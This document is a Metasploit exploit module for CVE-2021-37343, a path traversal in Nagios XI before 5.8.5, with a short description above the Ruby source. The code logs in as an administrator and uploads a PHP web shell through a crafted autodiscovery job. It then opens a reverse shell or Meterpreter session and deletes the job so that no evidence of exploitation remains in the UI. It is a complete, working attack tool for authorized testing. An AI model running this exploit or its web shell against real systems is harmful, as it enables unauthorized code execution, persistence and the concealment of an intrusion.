Authored by jbaines-r7, Claroty Team82 | Site metasploit.com

This Metasploit module exploits a path traversal issue in Nagios XI before version 5.8.5. The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as www-data. The module achieves this by creating an autodiscovery job with an id field containing a path traversal to a writable and remotely accessible directory, and custom_ports field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well.

advisories | CVE-2021-37343

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Autodiscovery Webshell Upload',
'Description' => %q{
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
The path traversal allows a remote and authenticated administrator to upload a PHP web shell
and execute code as `www-data`. The module achieves this by creating an autodiscovery job
with an `id` field containing a path traversal to a writable and remotely accessible directory,
and `custom_ports` field containing the web shell. A cron file will be created using the chosen
path and file name, and the web shell is embedded in the file.

After the web shell has been written to the victim, this module will then use the web shell to
establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
the module, and the autodiscovery job is removed as well.
},
'License' => MSF_LICENSE,
'Author' => [
'Claroty Team82', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-37343'],
['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
],
'DisclosureDate' => '2021-07-15',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]

@webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
@webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
end

# Authenticate and grab the version from the dashboard. Store auth cookies for later user.
def check
login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4
return CheckCode::Detected('Nagios is not fully installed.')
when 5
return CheckCode::Detected('The Nagios license has not been signed.')
end

# res_array[1] cannot be nil since the mixin checks for that already.
@auth_cookies = res_array[1]

nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end

# affected versions are 5.2.0 -> 5.8.4
if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
end

CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
end

# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
res = send_request_cgi({
'method' => 'GET',
'uri' => autodisc_uri,
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'newjob'
}
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')

# snag the nsp token from the response
nsp = get_nsp(res)
fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?

# drop a basic web shell on the server
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
payload = 'update=1&'
"job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&"
"nsp=#{nsp}&"
'address=127.0.0.1%2F0&'
'frequency=Yearly&'
"custom_ports=#{php_webshell}&"

res = send_request_cgi({
'method' => 'POST',
'uri' => autodisc_uri,
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'newjob'
},
'data' => payload
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302

# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")

# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end

# Successful exploitation creates a new job in the autodiscovery view. This function deletes
# the job that there is no evidence of exploitation in the UI.
def cleanup_job
print_status('Deleting autodiscovery job')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
'cookie' => @auth_cookies,
'vars_get' => {
'mode' => 'deletejob',
'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
}
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
end

# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
cmd = Rex::Text.uri_encode(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end

def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end

def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"

drop_webshell

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
ensure
cleanup_job
end
end